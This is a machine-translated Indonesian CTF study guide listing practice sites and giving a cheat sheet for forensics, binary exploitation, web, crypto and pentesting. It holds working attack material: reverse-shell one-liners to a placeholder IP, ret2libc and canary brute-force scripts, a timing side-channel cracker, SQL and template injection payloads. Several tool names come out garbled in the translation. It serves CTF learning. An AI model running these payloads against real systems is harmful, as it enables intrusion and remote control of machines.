Panduan Magister Keamanan Pembelajaran
Tulisan / File untuk beberapa CTF Cyber yang pernah saya lakukan
Saya juga menyertakan daftar sumber daya KKP serta lembar contekan komprehensif yang mencakup banyak tantangan umum KKP
Catatan
Sekarang ada mirror web dari repo ini di hackback.zip
Daftar isi
Sumber daya
- YouTube (Kami menyukai sumber daya video)
- Tempat Latihan/Pembelajaran
- CTF
- Umum
- Pwn
- Putaran
- jaring
- kripto
- Kontrak Cerdas
- Awan
- Pentesting
Lembar Cheat KKP
- Forensik / Steganografi
- Umum
- Audio
- Gambar
- Video
- Gambar Mesin
- Pcap
- Pwn / Eksploitasi Biner
- Umum
- Buffer meluap
- PIE (Eksekusi Independen Posisi)
- NX (Tidak dapat dieksekusi)
- ROP (untuk biner yang dikompilasi secara statis)
- Tumpukan kenari
- Kerentanan Format String
- kode cangkang
- Kembali ke Libc
- Rekayasa Terbalik
- Pemecah SMT
- Membalikkan pemeriksaan byte demi byte
- Mencari string dengan gef
- jaring
- kripto
Koki Cyber
Sandi Umum
RSA
- Ambil Info RSA dengan pycryptodome
- Teorema Sisa Cina (p,q,e,c)
- Serangan tukang tembaga (c,e)
- Serangan Pollard (n,e,c)
- Serangan Wiener (n,e,c)
Basis16, 32, 36, 58, 64, 85, 91, 92
- Kotak
- Menghubungkan
- Pencacahan
- Peningkatan hak istimewa
- Dengarkan shell terbalik
- Cangkang terbalik
- Dapatkan shell interaktif
- OSINT
- Lain-lain
Sumber daya
Saluran YouTube
- John Hammond
- Dulu banyak membuat video KKP, tapi sudah beralih ke hal lain
- Masih banyak video bermanfaat. Program-program CTF khususnya sangat luar biasa dalam mendidik orang-orang yang baru mengenal dunia maya.
- Luapan Langsung
- Membuat video yang sangat menarik dan mendalam tentang dunia maya.
- Memiliki seri pwn yang luar biasa
- IppSec
- Membuat penulisan setiap mesin HackTheBox
- Berbicara tentang berbagai cara untuk menyelesaikannya dan mengapa segala sesuatunya berhasil. Sangat merekomendasikan
- Komputerfil
- Orang yang sama seperti Numberphile, tapi lebih keren. Membuat video tingkat pemula dan intuitif tentang konsep dasar.
- pwn.college
- Profesor ASU yang memiliki banyak sekali video di pwn
- Materi kursus yang dipandu: https://pwn.college/
- Banyak soal latihan: https://dojo.pwn.college/
- Fungsi Pwn
- Video animasi berkualitas sangat tinggi dan mudah dipahami tentang berbagai topik
- Topiknya sedikit lebih maju, tetapi mudah dimengerti
- Martin Carlisle
- Membuat video tulisan yang luar biasa tentang tantangan picoCTF.
- Sam Bowne
- Profesor CCSF yang membuka semua ceramah dan materi kursusnya di situs webnya
- UFSIT
- Tim UF Cyber (Saya agak bias, tapi pasti salah satu saluran YouTube yang lebih baik untuk ini)
- Ginvael
- Membuat penulisan video yang luar biasa intuitif. Telah menyelesaikan keseluruhan picoCTF 2019 (banyak sekali)
- Keamanan Informasi Black Hills
- Perusahaan keamanan yang membuat banyak konten pendidikan
- Selalu melakukan kursus dan webcast gratis tentang topik keamanan
- menghancurkan tumpukan
- Video rekayasa balik & peretasan perangkat keras yang menakjubkan
- Memiliki seri yang sangat keren tentang rekayasa balik WannaCry
- Ben Greenberg
- Prof GMU dengan banyak tutorial video pwn dan malware
- Agak ketinggalan jaman, tapi masih bagus
- InfoSecLab di Georgia Tech
- Kuliah mendalam yang bagus & lanjutan tentang pwn
- Membutuhkan beberapa latar belakang pengetahuan
- RPISEC
- Rapat tim Universitas RPI
- Sangat maju dan mengasumsikan sedikit latar belakang pengetahuan cs
- Matt Coklat
- Pentester Keamanan Tertanam
- Membuat video ramah pemula yang bagus tentang peretasan IoT
Pembicaraan
Berikut beberapa slide yang saya kumpulkan: hackback.zip/presentations
Tempat Latihan/Pembelajaran
CTF
- PicoCTF
- Banyak tantangan latihan yang luar biasa.
- Jelas merupakan standar emas untuk memulai
- UCF
- Secara keseluruhan bagus, tapi latihan pwn bagus
- Saat ini saya sedang mengerjakan penulisan artikel di sini
- peretas101
- CTF, tapi sedikit lebih diarahkan pada pentesting
- CSAW
- Turun 90% dan biasanya tidak ada koneksi yang berfungsi
- Namun jika berhasil, ada banyak tantangan pengantar yang bagus
- KKP101
- Salah satu intro terbaik tentang CTF yang pernah saya lihat (gj osiris)
- Sangat ringkas dan ramah bagi pemula
Umum
- RetasKotak
- Situs kotak OG
- Kotak dikurasi untuk memastikan kualitas
- Sekarang ada beberapa masalah gaya CTF
- Sekarang memiliki kursus untuk mulai belajar
- CobaHackMe
- Kotak yang sedikit lebih mudah daripada HackTheBox
- Tantangan langkah demi langkah
- Sekarang memiliki "jalur pembelajaran" untuk memandu Anda melalui berbagai topik
- Lab Cybersec
- Koleksi kotak yang bagus
- Memiliki beberapa barang CTF
- VulnHub
- Memiliki mesin virtual yang rentan yang harus Anda terapkan sendiri
- Banyak variasi, tetapi sulit menemukan yang bagus
Pwn
- pwnable.kr
- Tantangan dengan tingkat kesulitan yang baik
- pwnable.tw
- Lebih sulit dari pwnable.kr
- Memiliki tulisan setelah Anda menyelesaikan tantangan
- pwnable.xyz
- Lebih banyak tantangan pwn
- Memiliki tulisan setelah Anda menyelesaikan tantangan
- Anda dapat mengunggah tantangan Anda sendiri setelah Anda menyelesaikan semuanya
- dojo pwn
- Kumpulan tantangan pwn terbaik menurut saya
- Didukung dengan slide yang mengajarkan cara melakukannya & ada perselisihan jika Anda memerlukan bantuan
- mimpi buruk
- Standar emas untuk membuat binari C
- Ada beberapa kesalahan/kesalahan ketik, tapi secara keseluruhan luar biasa
- catatan pwn
- Catatan dari beberapa orang secara acak online
- Sangat dangkal, tapi intro yang bagus untuk semuanya
- Sekolah Musim Panas Keamanan
- Kursus Keamanan Universitas Bucharest
- Penjelasan yang sangat ramah bagi pemula
- MBE RPISEC
- Kursus Eksploitasi Biner Modern RPI
- Memiliki banyak laboratorium/proyek untuk praktik & beberapa kuliah (sedikit ketinggalan jaman).
- bagaimana2tumpukan
- Seri Heap Exploitation dibuat oleh tim CTF ASU
- Termasuk fitur debugger yang sangat keren untuk menunjukkan cara kerja eksploitasi
- TALIMPorium
- Serangkaian tantangan dalam setiap pengajaran arsitektur utama Pemrograman Berorientasi Kembali
- Kualitas sangat tinggi. Mengajarkan teknik paling dasar hingga paling canggih.
- Saat ini saya menambahkan tulisan saya sendiri di sini
- Pendidikan Eksploitasi Phoenix
- Banyak sekali masalah eksploitasi biner yang diurutkan berdasarkan tingkat kesulitan
- Termasuk sumber dan dilengkapi dengan VM yang memiliki semua biner.
Putaran
- tantangan.re
- Begitu banyak tantangan 0_0
- Banyak keragaman
- membalikkan.kr
- crackmes.satu
- Banyak tantangan gaya crackme (CTF).
- Lokakarya Unicorn Malware
- Lokakarya gratis tentang Reverse engineering dan Analisis Malware
jaring
- websec.fr
- Banyak tantangan web dengan tingkat kesulitan yang baik
- peretasan web.kr
- Memiliki arsip banyak tantangan web yang bagus
- Mengamankan Aplikasi Web
- Kursus CCSF sumber terbuka
- Toko Jus OWASP
- Sangat diarahkan pada pentesting, namun berguna untuk menjelajahi web di CTF
- Lebih dari 100 kerentanan/tantangan secara total
- PortSwigger
- Standar emas untuk memahami peretasan web
- Banyak tantangan & penjelasan luar biasa
- DVWA
- Sangat diarahkan pada pentesting, namun berguna untuk menjelajahi web di CTF
- bWAPP
- Sangat diarahkan pada pentesting, namun berguna untuk menjelajahi web di CTF
- Tantangan KKP
- Kumpulan tantangan web buatan Adam Langley yang dibuat serealistis mungkin.
- Bagus untuk mendapatkan pengalaman bug bounty
kripto
- Peretasan Kripto
- Saat ini saya sedang mengerjakan tulisan di sini
- kriptopal
- Situs tantangan kripto OG.
- KriptoCTF
- Kriptografi tahunan CTF. Tahun-tahun sebelumnya dapat diakses di
20{19,20,21,22,23,24}.cr.yp.toc.tf
.
Kontrak Cerdas
Awan
- CloudFoxable
- Memandu Anda menyiapkan lingkungan yang rentan untuk dieksploitasi menggunakan cloudfox
- kelemahan.cloud
- Tantangan gratis yang melibatkan pencarian rahasia di S3, EC2, dan Lambda
Pentesting
- peretas101
- keluhan peretasan
- Eksploitasi pengembangan
- Kursus CCSF sumber terbuka
- Pengantar Keamanan
- Kursus UC San Diego diajar oleh Deian Stefan
- Meliputi pwn dasar dan kripto
- Lembar Cheat Direktori Aktif
- WADComs
- Lembar contekan interaktif untuk lingkungan Windows/AD
- LOLBA
- Lembar contekan interaktif untuk binari, skrip, dan pustaka "Hidup di luar negeri" Windows untuk dieksploitasi
- GTFOBin
- Lembar contekan interaktif untuk Linux Teknik "Hidup di Luar Negeri".
Lembar Cheat KKP
Forensik / Steganografi
Umum
- Pecahkan Aperi
- Alat yang secara otomatis menjalankan alat stego lainnya
- Sumber daya yang sangat bagus dari John Hammond untuk berbagai jenis tantangan:
- https://github.com/JohnHammond/ctf-katana
- Lembar contekan lain yang sangat bagus untuk menciptakan dan memecahkan tantangan:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- mengajukan
-
file <file.xyz>
- Menentukan jenis file
- steghide
-
steghide extract -sf <file.xyz>
- Mengekstrak file yang tertanam
- pencarian steg
-
stegseek <file> <password list>
- Ekstrak file yang disematkan menggunakan daftar kata
- sangat sangat cepat
- binwalk
-
binwalk -M --dd=".*" <file.xyz>
- Mengekstrak file yang tertanam
- exiftool
-
exiftool <file.xyz>
- Membaca metadata
- string
-
strings <file.xyz>
- Menemukan semua karakter yang dapat dicetak dalam sebuah file
- heksedit
-
hexedit <file.xyz>
- Anda mungkin harus mengubah tanda tangan file pada beberapa gambar agar dapat dibuka
- Daftar tanda tangan file umum
- Ghex (editor hex lain tetapi dengan GUI. Bagus jika Anda perlu melompat ke byte tertentu)
- File docx adalah wadah sehingga Anda dapat mengekstraknya untuk menemukan konten tersembunyi
- Grep - Cara yang baik menggunakan grep untuk menemukan flag secara rekursif:
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- Anda dapat mengubah 'picoCTF' ke awal bendera yang Anda cari
- Ltrace - Memungkinkan Anda melihat apa yang dilakukan kode saat Anda menjalankan program:
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace memperpendek string yang sangat panjang. Anda dapat menggunakan -s untuk menambah jumlah karakter yang ditampilkan. Bagus untuk saat melihat strcmp yang memiliki string besar.
Audio
Audio mesin faks:
Audio SSTV (tv pemindaian lambat) (barang bulan)
- Contoh
- Dekoder
- Dekoder Alt
- Gunakan pengaturan qsstv ini:
Gambar spektogram
Ubah nada, kecepatan, arah...
- Nada, kecepatan, nada
- Balik
Tombol telepon DTMF (dual tone multiple frekuensi).
-
multimon-ng -a DTMF -t wav <file.wav>
- Ingatlah bahwa ini dapat membuat saya melakukan multitap huruf.
- Ini dapat memecahkan kode angka menjadi teks
Tape kaset
- Contoh
- Decoder (wav untuk menyadap file)
kode Morse
Gambar
Video
Gambar Mesin
- Memulihkan file
- Anda dapat memasang gambar sebagai mesin virtual
- https://habr.com/en/post/444940/
- Pasang file
.img
:-
binwalk -M --dd=".*" <fileName>
- jalankan
file
pada output dan pilih file sistem file Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
Pcap
- Ekstrak data dengan tcpflow
- Ekstrak data dengan wireshark
- File → Ekspor Objek → Tentukan pilihan
Pwn / Eksploitasi Biner
- Untuk yang ini, saya sarankan untuk melihat repo LearnPwn saya, karena lembar contekan ini dibuat sebelum saya tahu banyak tentang pwn
- Namun, saya telah menyertakan beberapa catatan yang mengubah apa yang saya miliki di sini.
Umum
- periksa keamanan ELF
-
checksec <binary>
-
rabin2 -I <binary>
- periksa keamanan PE
- pemeriksaan keamanan biner
-
binary-security-check <bin>.exe
- periksa seccomp bpf
- alat detik
-
seccomp-tools dump ./<binary>
- melihat simbol
- lihat string
- alamat paket ke byte
- little endian (untuk 32 bit)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (untuk 64 bit)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools secara otomatis mengemas alamat dengan endianness yang benar untuk Anda
Buffer meluap
- Jika Anda perlu mendapatkan shell /bin/sh dan Anda yakin itu berfungsi tetapi program tetap keluar, gunakan trik ini:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools melakukan ini dengan
process.interactive()
nya
PIE (Eksekusi Independen Posisi)
- menentukan nilai acak
-
pwn cyclic <numChars>
untuk menghasilkan payload -
dmesg | tail | grep segfault
untuk melihat di mana kesalahannya -
pwn cyclic -l 0x<errorLocation>
untuk melihat offset acak untuk mengontrol penunjuk instruksi - contoh
NX (Tidak dapat dieksekusi)
- Kita dapat menggunakan ROP (pemrograman berorientasi kembali) untuk menyelesaikannya
ROP (untuk biner yang dikompilasi secara statis)
- ROPGadget
- melihat gadget & secara otomatis menghasilkan ropchains
-
ROPgadget --ropchain --binary <binary>
- Anda kemudian dapat menambahkan padding di awal kode (berdasarkan perbedaan antara buffer dan alamat pengirim) dan menjalankan kode untuk mendapatkan shell
- Demo
- ropr
Tumpukan kenari
Menemukan stack canary di debugger
- Stack canary adalah nilai yang ditempatkan sebelum EIP/RIP (instruction pointer) yang dapat ditimpa oleh buffer overflow. Program ini pada dasarnya menyebabkan kesalahan jika tumpukan ditimpa menjadi sesuatu yang berbeda dari aslinya. Tujuan kami adalah menemukan tumpukan asli sehingga ketika kami meluap, program berjalan normal.
- Stack canary diambil dari
gs
, atau fs
(masing-masing untuk 32 dan 64 bit)- Dalam pembongkaran, sebelum sesuatu dibaca, Anda dapat melihat baris seperti berikut:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Di sini, stack canary dipindahkan ke
rax
pada offset +8.- Jadi, pecahkan offset berikutnya dan periksa apa yang ada di rax (
ir rax
) untuk melihat kenari saat ini
Kenari Statis
- Canary hanya bersifat statis jika diimplementasikan secara manual oleh pemrogram (yang merupakan kasus dalam beberapa tantangan intro pwn), atau jika Anda dapat melakukan fork pada programnya.
- Saat Anda melakukan fork pada biner, biner yang di-fork tersebut memiliki canary yang sama, sehingga Anda dapat melakukan bruteforce byte demi byte pada biner tersebut
Tambahan
Jika stack canary tidak ditimpa dengan benar, hal ini akan menyebabkan panggilan ke __stack_chk_fail
- Jika kita tidak bisa membocorkan canary, kita juga bisa memodifikasi tabel GOT untuk mencegahnya dipanggil
Canary disimpan dalam struktur TLS
dari tumpukan saat ini dan diinisialisasi oleh security_init
- Jika Anda dapat menimpa nilai canary yang sebenarnya, Anda dapat mengaturnya sama dengan apa pun yang Anda putuskan untuk meluap.
Skrip sederhana untuk melakukan bruteforce pada canary 4 byte statis:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
Kerentanan Format String
- Lihat Tabel 2 untuk mengetahui apa yang harus dicoba jika Anda melihat "printf(buf)" atau semacamnya:
- https://owasp.org/www-community/atfects/Format_string_action
- Sangat merekomendasikan melihat John Hammond melakukan tantangan 'echooo' dari picoCTF 2018
- Terkadang, mencoba mencetak hanya string dari tumpukan seperti ini: '%s %s %s %s %s %s' dapat menyebabkan kesalahan karena tidak semua yang ada di tumpukan adalah string.
- Coba minimalkan hal tersebut dengan melakukan '%x %x %x %x %x %s'
- Daripada harus terus-menerus menambah jumlah %x dan %s yang Anda ketik, Anda dapat meneruskan parameter untuk membuatnya lebih mudah:
-
%1$s
- Ini akan mencetak nilai pertama dalam tumpukan (dari apa yang saya pahami, nilai tepat di sebelah buffer Anda) sebagai string. -
%2$s
- Ini akan mencetak nilai ke-2 sebagai string, dan Anda mengerti - Anda dapat menggunakan loop satu baris untuk mencoba menemukan bendera dengan membocorkan tumpukan. Tekan ^C (CTRL + C) untuk menuju ke nilai berikutnya.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Anda dapat mengontrol seberapa banyak kebocoran menggunakan parameter ukuran berbeda:
-
%hhx
bocor 1 byte (setengah dari setengah ukuran int) -
%hx
bocor 2 byte (setengah dari ukuran int) -
%x
bocor 4 byte (ukuran int) -
%lx
bocor 8 byte (ukuran panjang)
- video yang sangat bagus tentang memodifikasi tumpukan dengan fstring vuln dan %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
kode cangkang
- Situs web yang bagus untuk menemukan kode shell yang berbeda:
- http://shell-storm.org/shellcode/
Kembali ke Libc
Kami akan menimpa EIP untuk memanggil fungsi perpustakaan system() dan kami juga akan meneruskan apa yang harus dieksekusi, dalam contoh ini buffer dengan "/bin/sh"
Penjelasan yang bagus:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Contoh yang bagus (lanjutkan ke 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Dapatkan alamat untuk execve("/bin/sh")
Jika Anda sudah mengetahui file libc dan lokasinya (yaitu tidak perlu membocorkannya...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
Rekayasa Terbalik
Panduan Keren: https://opensource.com/article/20/4/linux-binary-lysis
- Ghidra
- Dekompiler yang sangat berguna
- dotPeek atau dnSpy
- mendekompilasi .NET executable
- jadx dan jadx-gui
- zona alat dev
- bunga selimut
- Dekompiler java berbasis terminal tingkat lanjut
- apktool
- mendekompilasi apk
-
apktool d *.apk
- gdb
- Analisis biner
- peda (ekstensi untuk peningkatan fungsionalitas)
- gef (ekstensi gdb untuk pwners)
- radare2
- benang
-
strings
pada steroid. Menggunakan analisis statis untuk menemukan dan menghitung string
Pemecah SMT
Membalikkan pemeriksaan byte demi byte (serangan saluran samping)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Inilah versi yang saya buat untuk tantangan yang menggunakan serangan berbasis waktu:
- Anda mungkin harus menjalankannya beberapa kali hanya untuk memperhitungkan keacakan
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
Mencari string dengan gef
- Jika bendera Anda sedang dibaca ke dalam variabel atau register pada titik mana pun, Anda dapat mematahkannya setelah dipindahkan dan menjalankan
grep <string>
dan gef akan secara otomatis menampilkan string yang cocok dengan pola pencarian Anda
jaring
- Nikto (jika diperbolehkan)
- secara otomatis mencari kerentanan
- gobuster (jika diperbolehkan)
- Direktori dan file brute force
- hydra (jika diperbolehkan)
- Brute memaksa login untuk berbagai layanan
- Bersendawa
- Mencegat permintaan web dan memungkinkan Anda mengubahnya
- hiu kabel
- Analisis lalu lintas jaringan langsung dan file pcap
- cangkang terbalik php
- Berguna untuk situs web yang memungkinkan Anda mengunggah file
- File ini perlu dijalankan di server agar berfungsi
- Pemindaian WPS
- Pindai situs web wordpress
- Gunakan
wpscan --url <site> --plugins-detection mixed -e
dengan kunci api untuk hasil terbaik
- jwt
- Anda dapat mengidentifikasi token JWT karena json yang dikodekan base64 (dan dengan demikian token jwt) dimulai dengan "ey"
- Situs ini akan memecahkan kode token web JSON
- Anda dapat memecahkan rahasia token web JSON untuk memodifikasi dan menandatangani token Anda sendiri
-
echo <token> > jwt.txt
-
john jwt.txt
- injeksi SQL
- peta sql
-
sqlmap --forms --dump-all -u <url>
- Mengotomatiskan proses injeksi SQL
- Injeksi SQL dasar
- Masukkan
'OR 1=1--
di formulir login - Di server ini akan dievaluasi menjadi
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
-
1=1
bernilai benar, yang memenuhi pernyataan OR
, dan kueri lainnya dikomentari oleh --
- MuatanSemuaHal
- Sumber daya yang bagus untuk eksploitasi web dengan banyak muatan
- Injeksi Templat
- peta tpl
- Injeksi templat sisi server otomatis
- Injeksi Jinja
- Injeksi Labu
- Fungsi Python eval()
-
__import__.('subprocess').getoutput('<command>')
- pastikan untuk mengganti tanda kurung jika tidak berhasil
-
__import__.('subprocess').getoutput('ls').split('\n')
- Lebih banyak injeksi python
- Skrip Lintas Situs
- Penilai CSP
- Penilai Kebijakan Keamanan Konten Google
Bidang input kabur
- FFUF
- Salin permintaan ke kolom input dan ganti parameter dengan "FUZZ":
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Gunakan
-fs
untuk memfilter ukuran
kripto
Koki Cyber
- Koki Cyber
- Melakukan berbagai operasi kriptografi
Detektor Sandi
hash
- hashid
- Utilitas baris perintah untuk mendeteksi jenis hash
Sandi Umum
- Sandi Caesar
- Sandi Vigenere
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- Sandi Substitusi
- Membusuk13
- Sandi Caesar yang dikunci
RSA
Ambil Info RSA dengan pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
Teorema Sisa Cina (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- Website yang memberikan faktor dan total euler (phi)
- https://www.alpertron.com.ar/ECM.HTM
Serangan tukang tembaga (c,e)
- Biasanya digunakan jika eksponennya sangat kecil (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
Serangan Pollard (n,e,c)
- Berdasarkan metode faktorisasi Pollard, yang menjadikan hasil kali bilangan prima mudah difaktorkan jika (B)halus
- Hal ini terjadi jika
p-1 | B!
dan q - 1
mempunyai faktor > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
Serangan Wiener (n,e,c)
- Untuk digunakan ketika d terlalu kecil (atau e terlalu besar)
- Menggunakan modul python ini
- Bukti
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Basis16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Kotak
Menghubungkan
- ssh
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- Pasang SSH sebagai sistem file secara lokal:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Tuan rumah yang dikenal
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- netcat
Pencacahan
Penemuan mesin
Pemindaian port mesin
enumerasi Linux
pencacahan UKM
Hubungkan ke berbagi UKM
Peningkatan hak istimewa
- linpeas
-
./linpeas.sh
- Secara otomatis mencari vektor peningkatan hak istimewa
- Daftar perintah yang dapat kita jalankan sebagai root
- Temukan file dengan izin SUID
-
find / -perm -u=s -type f 2>/dev/null
- File-file ini dijalankan dengan hak istimewa pemiliknya, bukan pengguna yang mengeksekusinya
- Temukan izin untuk semua layanan
-
accesschk.exe -uwcqv *
- Cari layanan yang tidak berada di bawah akun Sistem atau Administrator
- Layanan Kueri
-
sc qc <service name>
- Hanya berfungsi di cmd.exe
Dengarkan shell terbalik
Cangkang terbalik
- revshells.com
- templat untuk semua yang mungkin Anda perlukan
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Dapatkan shell interaktif
Linux
- Jalankan perintah python berikut untuk membuatnya sebagian interaktif:
python -c 'import pty;pty.spawn("/bin/bash");'
- Keluar dari sesi netcat dengan
CTRL+Z
dan jalankan stty raw -echo
secara lokal - Masuk kembali sesi Anda dengan perintah
fg
(dan id pekerjaan sesudahnya jika diperlukan) - Ubah emulator terminal Anda ke xterm dengan menjalankan
export TERM=xterm
(ini mungkin tidak diperlukan) - Ubah shell Anda menjadi bash dengan menjalankan
export SHELL=bash
(ini mungkin tidak diperlukan) - Selesai! Sekarang shell Anda harus sepenuhnya interaktif
Jendela / Umum
- Instal
rlwrap
di sistem Anda - Sekarang, setiap kali Anda menjalankan nc pendengar, letakkan saja
rlwrap
di depan - Misalnya:
rlwrap nc -lvnp 1337
- Ini akan memberi Anda tombol panah dan riwayat perintah, tetapi tidak akan memberikan pelengkapan otomatis (sejauh yang saya tahu) untuk sistem windows dan *nix
OSINT
- mata pime
- Pencarian terbalik wajah di internet
- Kerangka OSINT
- Situs web yang mengumpulkan banyak alat OSINT
- AI GeoSpy
